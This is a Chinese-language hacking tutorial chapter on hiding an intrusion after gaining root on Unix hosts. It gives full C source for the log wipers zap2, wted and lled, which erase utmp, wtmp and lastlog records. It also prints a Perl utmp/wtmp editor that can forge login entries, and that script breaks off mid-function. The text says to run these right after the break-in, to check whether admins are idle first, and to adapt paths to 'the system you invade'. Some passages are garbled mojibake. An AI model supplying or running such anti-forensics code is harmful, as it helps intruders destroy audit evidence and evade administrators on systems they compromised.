隱藏自己


--------------------------------------------------------------------------------

目錄:
Zap2 程序

其它腳本程序


隱藏自己的關鍵是你要不斷的學習瞭解新的系統知識。如果你做了很苯的事情,比如有一次忘了清除你的utmp、wtmp日誌或傳送記錄等等,你可能就會喪失再次訪問這個系統的機會。你自己應該制定一個計劃去學習每個操作系統!
盡可能的去熟悉系統,如果你同時學習幾個系統,你應該做好筆記。記住你應該養成一個習慣,你是否養成清除你登錄、傳送文檔的記錄的習慣?千萬不要忘記清除記錄否則你可能會喪失對系統的訪問權並面對一系列的指控。


--------------------------------------------------------------------------------

Zap2 (清除 wtmp/lastlog/utmp記錄)

網絡上有很多不同的日誌清除程序,其中最好的是zap2。我編譯後稱為z2
在你獲得root的訪問權後立即運行z2這個程序。這個程序執行的非常快。
你可以使用finger @host.xxx來查看當前有說鍬劑耍邢腹鄄煲幌聄oot或admin的idle time(空閒時間)來猜測他們是否離開主機了。
Login, ?uμ???ooa¢?′e?e?wa′2e?′idle timeoi???uoD?μ???a??£ μ???o?"w"2e?′?μi3oi??e?e?e1×??o3e?arootμ??ua?e?2??ui?e±??DDμ??£o?μ???μ?μ?a?rootμ?·??ee‥£?a¢?′e?e? ./z2 ??μ????μi3?uo?μ?o??§???£
現在你比剛才就安全多了。現在再用"w"或"who"命令來查看一下,你已靜換岜籾tmp記錄了。如果你要使用 ftp或其它的一些命令你可能就會用到我在本章中提供的另外兩個程序 wted 和 lled。
我們先來完成z2這個程序。你必須瞭解每個文件在你入侵的系統中的位置以便修改z2.c,使其包含這些文件的正確路徑。
下面是在文件頭部的需要你修改的部分。
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
在有些系統中應該是:
#define WTMP_NAME "/var/adm/wtmp"
#define UTMP_NAME "/var/adm/utmp"
#define LASTLOG_NAME "/var/adm/lastlog"

但你應該自己查看一下這些文件存放在你要入侵的系統的什麼位置。/var/log目錄也是很可能的一個路徑。修改好正確的文件路徑後,編譯這個文件,現在你登錄之後運行z2,你就已比較安全了。
這裡是c程序:
z2.c
--------------------------- cut here
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
--------------------------- cut here


--------------------------------------------------------------------------------

其它腳本程序

我們開始本章的另一部分。我們假設你登錄並執行了z2,你需要進行ftp來抓一個文件(記住,像第一章所說的,不要ftp或telent出這個入侵的主機)。好了,你ftp進入系統抓取幾個文件,或登錄到系統的其它帳戶中,那現在你就要用到wted程序了。 wted程序允許你編紈tmp日誌來清除你ftp留下的記錄。你也可能要用到lled (編糽astlog日誌).
你在修改日誌的路徑並編譯wted程序後,輸入 ./wted將會出現下面的菜單。
[8:25pm][/home/compile]wted
Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h This help 幫助
-f Use FILE instead of default 所使用的非默認文件
-a Show all entries found 顯示所有的記錄
-u Show all entries for USER 顯示USER的所有記錄
-b Show NULL entries 顯示空記錄
-e Erase USER completely 完全清除某用戶的記錄
-c Erase all connections containing HOST 清除從某主機來的所有記錄
-z Show ZAP'd entries ??e?o?ZAP′|ai1yμ?????
-x Attempt to remove ZAP'd entries completely e?3yo?ZAP′|ai1yμ?????
如果你ftp使用的用戶名為 tsmith,你應這樣使用 wted -x -e tsmith
這個程序將顯示用戶tsmith登錄的一個時間並詢問你是否要刪除它。在你刪除你登錄的記錄後,記著chmod 644 wtmp.tmp文件然後將其拷貝到日誌文件的目錄並覆蓋岳吹奈募O笳庋?
1. chmod 644 wtmp.tmp
2. cp wtmp.tmp /var/adm/wtmp
下面是wted程序:
重要:記著將char裡面文件改成正確的路徑。
wted.c
---------------------- cut here
#include
#include
#include
#include
char *file="/var/adm/wtmp";
main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i {
if(argv[i][0] == '-')
{
switch(argv[i][1])
{
case 'b': printents(""); break;
case 'z': printents("Z4p"); break;
case 'e': erase(argv[i+1],0); break;
case 'c': erase(0,argv[i+1]); break;
case 'f': file=argv[i+1]; break;
case 'u': printents(argv[i+1]); break;
case 'a': printents("*"); break;
case 'x': remnull(argv[i+1]); break;
default:usage();
}
}
}
}
printents(name)
char *name;
{
struct utmp utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
{
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))
{
if ( !(strcmp(name,ptr->ut_name)) || (name=="*") ||
(!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
printinfo(ptr);
}
close(fp);
}
}
printinfo(ptr)
struct utmp *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ut_name);
printf("%s\t",ptr->ut_line);
strcpy(tmpstr,ctime(&(ptr->ut_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ut_host);
}
erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
if (host)
if (strstr(utmp.ut_host,host)) tot++;
else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
if (name) {
if (strcmp(utmp.ut_name,name)) {cnt++;
write(fd,&utmp,sizeof(struct utmp));}
else {
if (n>0) {
n--;cnt++;
write(fd,&utmp,sizeof(struct utmp));}
else
{
printinfo(&utmp);
printf("Erase entry (y/n/f(astforward))? ");
c='a';
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
if (c=='f') {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
printf("Fast forward how many entries? ");
scanf("%d",&n);}
if (c=='n') {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
}
if (c=='y') tot++;
}
} }
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}
remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
if (fp=open(file,O_RDONLY)) {
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
if (utmp.ut_time) {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
}
else
tot++;
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}
usage()
{
printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n");
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------- cut here
你可能還需要清除/vat/adm/lastlog日誌。
這要用到lled.c程序。編譯這個文件並命名為lled.
你運行lled程序將會出現下面的菜單:
[4:04am][/home/paris/compile]lled
Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h This help °??u
-f Use FILE instead of default e1o????‥μ????t′ui?e±e?μ?
-a Show all entries found ??e?e?2?????
-u Show all entries for USER ??e????‥o??§μ?e?2?????
-b Show NULL entries ??e???????
-e Erase USER completely e?2?e?3y???‥o??§μ?????
-c Erase all connections containing HOST e?3y°uo????‥?÷?uμ?e?2?????
-z Show ZAP'd entries ??e?o?ZAP′|ai1yμ?????
-x Attempt to remove ZAP'd entries completely e?3yo?ZAP′|ai1yμ?????
你可以先用-u來看一下,很多時候你的用戶名並沒有記錄下來,但會記錄下你的主機,一般你可以這樣使用:(假設我進入系統時使用的主機名為machine.edit.com)
lled -e username -c machine.edit
如果你要查看你的主機是否記錄在lastlog日誌的結尾,你應輸入:lled -a
使用chmod將 lastlog.tmp文件屬性改為 644並像你使用上面的wted程序一樣將其拷貝到日誌文件的目錄中並覆蓋岳吹奈募?
重要:將lastlog路徑設置為你入侵的主機中的正確路徑。
下面是lled.c:
-------------------------- cut here
#include
#include
#include
#include
char *file="/var/adm/lastlog";
main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i {
if(argv[i][0] == '-')
{
switch(argv[i][1])
{
case 'b': printents(""); break;
case 'z': printents("Z4p"); break;
case 'e': erase(argv[i+1]); break;
case 'c': erase(0,argv[i+1]); break;
case 'f': file=argv[i+1]; break;
case 'u': printents(argv[i+1]); break;
case 'a': printents("*"); break;
case 'x': remnull(argv[i+1]); break;
default:usage();
}
}
}
}
printents(name)
char *name;
{
struct lastlog utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
{
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))
{
if ( !(strcmp(name,ptr->ll_line)) || (name=="*") ||
(!(strcmp("Z4p",name)) && (ptr->ll_time==0)))
printinfo(ptr);
}
close(fp);
}
}
printinfo(ptr)
struct lastlog *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ll_line);
strcpy(tmpstr,ctime(&(ptr->ll_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ll_host);
}
erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
if (host)
if (strstr(utmp.ll_host,host)) tot++;
else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}
if (name) {
if (strcmp(utmp.ll_line,name)) {cnt++;
write(fd,&utmp,sizeof(struct lastlog));}
else {
if (n>0) {
n--;cnt++;
write(fd,&utmp,sizeof(struct lastlog));}
else
{
printinfo(&utmp);
printf("Erase entry (y/n/f(astforward))? ");
c='a';
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
if (c=='f') {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
printf("Fast forward how many entries? ");
scanf("%d",&n);}
if (c=='n') {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
}
if (c=='y') tot++;
}
} }
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}
remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
if (fp=open(file,O_RDONLY)) {
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
if (utmp.ll_time) {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
}
else
tot++;
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}
usage()
{
printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n");
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------------------------------------------------- cut here
下面是個編輯tmp, wtmp和檢查進程的很好的perl腳本程序。這個程序還允許你在wtmp日誌中加入一行。如果你想搞,你可以加入clinton(克林頓).whitehouse(白宮).gov logging into port ttyp3 並顯示他在系統中停留了幾個小時!
使用檢查功能,你可以知道是否有什麼人登錄到系統中而在utmp日誌中又沒有記錄。系統管理員有時登錄後喜歡把自己隱藏起來,這個程序可以看到他們是否在線。你必須有root的權限來執行這個程序,這個程序還需要5.003以上的版本才能運行。啟動這個腳本程序後輸入help。
下面是一些基本命令:
starts by loading wtmp
delete user username
delete host hostanme
write
read wtmp
delete user username
delete host hostname
write
使用help來查看其它的命令......這是最好的wtmp,wtmp編計鰨?
說聲謝謝吧 ;)
-----------------------start of utmpman.pl
#!/usr/bin/perl -w
#
# Variable defines.
my($utmp_location) = "/var/run/utmp";
my($wtmp_location) = "/var/log/wtmp";
my($shells_location) = "/etc/shells";
my($ttybase) = "tty";
my($ttyrange) = "pqrs"; # TTYrange standard on most linux systems.
my($ttyports) = "012345657689abcfef"; # TTYports standard on most linux systems.
# Global initializations.
my($active_file) = "";
my(%entries) = {};
my(@cmdline) = ();
my(@shells) = ();
# Display banner.
print "\nutmp Manager v0.8\n\n";
# Access check.
die("utmpman :: You must be root to run this application!\n") unless ($> == 0);
# Read in valid shells.
if (defined($shells_location)) {
open(SHELLFILE, "<$shells_location");
@shells = ;
close(SHELLFILE);
}
# Process "basename" of each shell.
@shells = map( { /([^\/\n]+)\n*$/; $1; } @shells);

print push(@shells) . " valid shells in $shells_location: @shells\n" if (defined(@shells));
readfile("$utmp_location");
print("\nutmpman: $active_file> ");
while () {
process_cmd(split);
print("\nutmpman: $active_file> ");
}
sub process_cmd {
return if (!defined(@_));
my(@line) = map { lc($_) } @_;

$_ = shift(@line);
SWITCH: {
/^check$/ && do {
check_func(@line);
last SWITCH;
};
/^delete$/ && do {
del_func(@line);
last SWITCH;
};

/^help$/ && do {
help_func();
last SWITCH;
};

/^insert$/ && do {
ins_func(@line);
last SWITCH;
};

/^list$/ && do {
list_func(@line);
last SWITCH;
};
/^read$/ && do {
read_func(@line);
last SWITCH;
};

/^write$/ && do {
write_func(@line);
last SWITCH;
};

/^quit|exit$/ && exit(0);

# DEFAULT.
print ("Invalid command.\n");
}
}

# HELP
sub help_func {
print << "EOM";
utmpManager Help
----------------
Note: - is an argument.
- [id=] is a token which expects a value as part of command
(ie, insert id=p5 user=root 11/23/96). See the insert command.
- A line is the full name to the tty port, ie ttyp0.
- An id is the *unique* representation of the port
(without the tty, etc), ie "p0" (for ttyp0).
check
- Perform user consistancy check. Use this to make sure that the data in
utmp agrees with who is actually on the machine. This is useful in
determining if a user is online with hidden ports, running nohup'd
processes, or running iScreen.
delete -
- Delete entries #x to #y.
delete host
- Delete *all* entries which match the substring .
delete line|id
- Delete entry containing or .
insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime}
- Insert an entry into utmp/wtmp files specifying any combination
of id/line, type, username, host, connection time, and logoff time.
(LogoffTime only valid for WTMP files.)
list host
- List all entries matching the substring .
list line|id
- List all entries matching or .
read utmp|wtmp|
- Read entries from either default wtmp, default utmp, or an arbitrary
filename. Note: arbitrary filenames MUST start with either "utmp" or
"wtmp" to be used with this editor. Rename files *outside* of this
editor if necessary. If read is executed without any arguments, it
rereads the last given filename, which is displayed on the prompt.
write {filename}
- Write entries to file {filename}. If write is executed without any
arguments, then entries will be written to the last given filename,
which is displayed on the prompt.
EOM
}
# DELETE
sub del_func {
my(@params) = @_;
if (!push(@_)) {
print("delete :: Not enough parameters. See \"help\" for syntax.\n");
return undef;
} elsif ($params[0] =~ /host|user|id|line/) {
del_by_data(@_);
} elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
del_by_range($params[0]);
} elsif ($params[0] =~ m/^(\d+)$/) {
del_by_range("$1-$1");
}

# Renumber list after delete operation.
resync();
}

sub del_by_range {
my($range)=shift;
$range =~ m/(\d+)*-(\d+)*/;
my($lo, $hi, $count)=($1, $2, 0);

$lo = 0 if (!defined($lo));
$hi = scalar(keys(%entries)) if (!defined($hi));

foreach (sort( { $a <=> $b } keys(%entries))) {
if (($_ >= $lo) && ($_ <= $hi)) {
delete($entries{$_});
$count++;
}
}
print "$count entries deleted.\n";
}

sub del_by_data {
my($op, $data) = @_;
my($count) = 0;
if ((length($data) < 5) && ($op eq "host")) {
print "Must specify at least 5 characters for delete hostmask.\n";
return undef;
} elsif (((length($data) > 4) && ($op eq "id"))||
((length($data) > 11) && ($op eq "line"))) { print "Invalid $op specified.\n";
return undef;
}
# Note: If we are deleting by user, then user must match, *exactly*!
$data = "^" . pack("a8", $data) . "\$" if ($op eq "user");
foreach (sort( { $a <=> $b } keys(%entries))) {
if (%{$entries{$_}}->{$op} =~ m/$data/i) {
delete($entries{$_});
++$count;
}
}
if (!$count) {
print "No $op entries matching $data.\n";
} else {
print "$count entries deleted.\n";
}
}

# INSERT
# Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]]
# Date2 Time2 = DateTime2 => (see above)
# user=
# host=
# id= | line=
#
# utmp:
# insert {id=|line=} [type=] [user=] [host=] [DateTime]
# wtmp:
# insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2}
sub ins_func {
my(%cmdopt)={};
my($datetime1, $datetime2, $gmdate, $gmdate2);
# Get random pid out of the way.
$cmdopt{"pid"} = int(rand(32656)+100);
$cmdopt{"addr"} = pack("a4", "");
# Get command options.
foreach (@_) {
if (/=/) {
local($key, $value)=split(/=/);
$cmdopt{$key} = $value;
} else {
if (!defined($datetime1)) {
$datetime1 = $_;
next;
}
if (!defined($datetime2)) {
$datetime2 = $_ ;
next;
}
print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
return undef;
}
}
# Check for an illegal pair or illegal option.
foreach (keys(%cmdopt)) {
if (!(/^host|id|line|type|user|addr$/)) {
print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
return undef;
}
if (($_ eq "last") && ($active_file !~ m!/*utmp[^/]*$!i)) {
print "insert :: LAST option only valid for utmp files.\n";
return undef;
}
}
# Get date in seconds since 1970.
$gmdate = SecsSince1970($datetime1);
# Get ending date in seconds since 1970.
$gmdate2 = SecsSince1970($datetime2) if (defined($datetime2));
if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2))) {
print "insert :: Invalid date specified.\n";
return undef;
}
if (defined($gmdate2)) {
if ($gmdate2 < $gmdate) {
print "insert :: First date/time must be *later* than second date/time.\n";
return undef;
}
}
if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) {
print "insert :: Insert by LINE or ID only. Please do not specify both.\n";
return undef;
}
my($op);
if (!defined($cmdopt{"id"})) {
$cmdopt{"id"} = $cmdopt{"line"};
$op = "line";
if (!($cmdopt{"id"} =~ s/^$ttybase//)) {
print "insert :: Invalid line specified.\n";
return undef;
}
} else {
$cmdopt{"line"} = $ttybase . $cmdopt{"id"};
$op = "id";
}
if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) {
print "insert :: Neither LINE nor ID value found. See \"help\" for syntax.\n";
return undef;
}

my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ?
(pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op};
my($epos1, $npos1, $epos2, $npos2) = ();
my($oldpos, $count)=("", 0);
foreach (sort( { $a <=> $b } keys(%entries))) {
if ($active_file =~ m!/*utmp[^/]*$!i) {
# Handle utmp insertion by line insertion.
if (%{$entries{$_}}->{$op} eq $searchdata) {
printf ("insert :: $op $searchdata already exists at position $_\n");
# This needs to check every option in %cmdopt for defined or null.
$count = 0;
foreach (qw(user host time)) {
if (defined($cmdopt{$_})) {
$count++ if ($cmdopt{$_} ne "");
}
}
if (!$count) {
printf ("insert :: No other data specified. Entry unchanged.\n");
return undef;
}
last;
}
} else {
# Handle wtmp insertion by time position. (Messy)
$epos1 = $oldpos if (defined($npos1) && !defined($epos1));
$npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate);
last if (!defined($gmdate2) && defined($epos1));
$epos2 = $oldpos if (defined($npos2));
$npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2);
last if (defined($epos2));
}
$oldpos = $_;
}
# Set any unspecified defaults.
$cmdopt{"user"} = pack("a8", "") if !defined($cmdopt{"user"});
$cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"});
$cmdopt{"type"} = 7 if !defined($cmdopt{"type"});
# Determine end of list insertion positions. (IE, dates entered are after
# dates in wtmp file or line/id not found in utmp file.
$epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1));
if (defined($datetime2)) {
$epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2));
++$epos2 if (defined($gmtime2) && !defined($npos1));
}
# Parse insert data and insert entry.
$epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1));
$epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2)
if (defined($npos2) && defined($gmdate2));
# Insert first entry.
$cmdopt{"time"} = $gmdate;
@{$entries{$epos1}}{qw(type pid line id time user host addr)} =
@{%cmdopt}{qw(type pid line id time user host addr)};
if (defined($epos2)) {
$cmdopt{"user"} = pack("a8", "");
$cmdopt{"host"} = pack("a16","");
$cmdopt{"id"} = pack("a4", "");
$cmdopt{"time"} = $gmdate2;

@{$entries{$epos2}}{qw(type pid line id time user host addr)} =
@{%cmdopt}{qw(type pid line id time user host addr)};
}
resync();
}

# LIST
sub list_func {
my(@params) = @_;
if (!push(@_) || ($params[0] eq "all")) {
list_by_range("-");
return 0;
} elsif ($params[0] =~ /^host|user|id|line$/) {
list_by_data(@_);
return 0;
} elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
list_by_range($params[0]);
return 0;
} elsif ($params[0] =~ m/^(\d+)$/) {
list_by_range("$1-$1");
return 0;
}

print ("list :: Error in parameters. See \"help\" for syntax.\n");
return undef;
}

sub list_by_data {
my($op, $data) = @_;
my($count) = 0;
foreach (sort( {$a <=> $b} keys(%entries))) {
if (%{$entries{$_}}->{$op} =~ m/$data/i) {
list_entry($_);
++$count;
}
}
print "No $op entries matching $data.\n" if (!$count);
}

sub list_by_range {
my($range)=shift;
$range =~ m/(\d+)*-(\d+)*/;
my($lo, $hi)=($1, $2);

$lo = 0 if (!defined($lo));
$hi = scalar(keys(%entries)) if (!defined($hi));

foreach (sort( { $a <=> $b } keys(%entries))) {
if (($_ >= $lo) && ($_ <= $hi)) {
list_entry($_);
}
}
}

sub list_entry {
printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_);
printf(" %s/%s", @{$entries{$_}}{qw(id line)});
printf(": %s ", %{$entries{$_}}->{"user"})
if (%{$entries{$_}}->{"user"} ne pack("a8", ""));
printf("from %s", %{$entries{$_}}->{"host"})
if (%{$entries{$_}}->{"host"} ne pack("a16", ""));
if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") {
printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"}));
}
print ("\n");
printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"})
if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne pack("a8","")));
}
# printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id line user host)};
# now *that's* cool :-)
# should be like this: @{$v}{qw(time id line user host)}
# I had an extra -> in my first version.
#
# Or course, it's changed since then, but - "Thanks, Sil!" :)
#

# READ

sub read_func {
my($arg)=shift;

$arg = $utmp_location if ($arg eq "utmp");
$arg = $wtmp_location if ($arg eq "wtmp");
$arg = $active_file if (!defined($arg));

if ($arg !~ m!/*[uw]tmp[^/]*$!) {
print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to be edited.\n");
return undef;
}

readfile($arg);
}

# WRITE
sub write_func {
my($file)=shift;
my($count)=0;

$file = $active_file if (!defined($file));
if ($file !~ m!/*[uw]tmp[^/]*$!) {
print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file outside this program.\n");
return undef;
}
if (!open(OUTFILE, ">$file")) {
print ("write :: Can't open $file for output.\n");
return undef;
}
binmode(OUTFILE);

foreach (sort( { $a <=> $b } keys(%entries))) {
printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4",
@{$entries{$_}}{qw(type pid line id time user host addr)}));
$count++;
}
print ("$active_file: " . scalar(keys(%entries)) . " entries written.\n");
close(OUTFILE);
}

# CHECK
sub check_func {
if (push(@_)) {
print "check :: Invalid options specified. Please see \"help\"\n";
return undef;
}
if ($active_file !~ m!/*utmp[^/]*$!) {
print "check :: Command can only be run on utmp files.\n";
return undef;
}

# Build struct of ports containing port name, device num and owner.
# Note: Test run in grepstr may *not* be portable for all Unix
# types. Be forewarned! This was designed for Linux.
# Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyports])$/
# should return the same as what you expect in "struct utmp->ut_id".
my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$";
my(%ports) = {};
my($user, $rdev) = ();
opendir(DEVDIR, "/dev");
my(@devfiles) = readdir(DEVDIR);
@devfiles = grep(/$grepstr/, @devfiles);
close(DEVDIR);
foreach (@devfiles) {
/^$ttybase([$ttyrange][$ttyports])$/;
if (!defined($1)) {
print "check :: Warning! Could not extract port ID from $_.\n";
} else {
($user, $rdev) = (stat("/dev/$_"))[4, 6];
$user = getpwuid($user);
$ports{$1} = newport($_, $rdev, $user);
}
}

# Check ownership of /dev ports.
my(@logdev)=();
foreach (sort(keys(%ports))) {
push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root");
}
@logdev = sort(@logdev);

# Check utmp (against ports detected as logged in);
my(@logutmp)=();
foreach (sort( { $a <=> $b } keys(%entries))) {
if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"host"}) &&
defined(%{$entries{$_}}->{"id"}) && defined(%{$entries{$_}}->{"pid"})) {
push(@logutmp, %{$entries{$_}}->{"id"})
if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) &&
((%{$entries{$_}}->{"user"} ne pack("a8", "")) ||
((%{$entries{$_}}->{"host"} ne pack("a16", "")) &&
(%{$entries{$_}}->{"id"} ne pack("a4", "")) &&
(%{$entries{$_}}->{"line"} ne pack("a12", "")) &&
(%{$entries{$_}}->{"pid"} > 0))));
}
}
@logutmp = sort(@logutmp);
# Check PIDs (find processes with active port ids)
opendir(PIDDIR, "/proc");
my(%processes) = {};
my(@portprocesses) = ();
foreach (grep(/\d+/, readdir(PIDDIR))) {
local($procdata, $cmdline);
open(PROCFILE, " $procdata = ;
close(PROCFILE);
if (-e "/proc/$_/stat") {
local($cmdline, $devnum, $portid);
($cmd, $devnum) = (split(/ /, $procdata))[1, 6];
# Remove surrouding () from command name.
$cmd =~ s/[\(\)]//g;
$portid = dev2id(\%ports, $devnum);
if (defined($portid)) {
push(@portprocesses, $portid)
if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_));
$processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ != $_));
}
}
}
close(PIDDIR);
# A port is *not* logged in if there is no dev entry for port, no utmp entry
# and no active processes.
my(@validshellports) = ();
foreach (sort( { $a <=> $b} keys(%processes))) {
push(@validshellports, %{$processes{$_}}->{"port"})
if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&&
!defined(listpos(\@validshellports, %{$processes{$_}}->{"port"})));
}
# Remove ports with valid shells from list of ports with active processes.
my(@noshellports) =
sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses));
@validshellports = sort(@validshellports);
print "Ports with active /dev files: @logdev\n"
if (defined(@logdev));
print "Ports with utmp entries: @logutmp\n"
if (defined(@logutmp));
print "Ports with valid shells: @validshellports\n"
if (defined(@validshellports));
print "Ports with active processes and *no* shells: @noshellports\n"
if (defined(@noshellports));
}



# GENERAL
sub readfile {
local($file);
$file = shift;
my($index)=1;
my($buffer)="";
# Insure we have a clean hash table before we start reading in the file.
foreach (keys(%entries)) {
undef(%{$entries{$_}});
delete(${entries{$_}});
}

open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n");
binmode(UTMPFILE);
# 1/17/96, struct utmp is 56 bytes (54 according to addition! :P).
while (read(UTMPFILE, $buffer, 56)) {
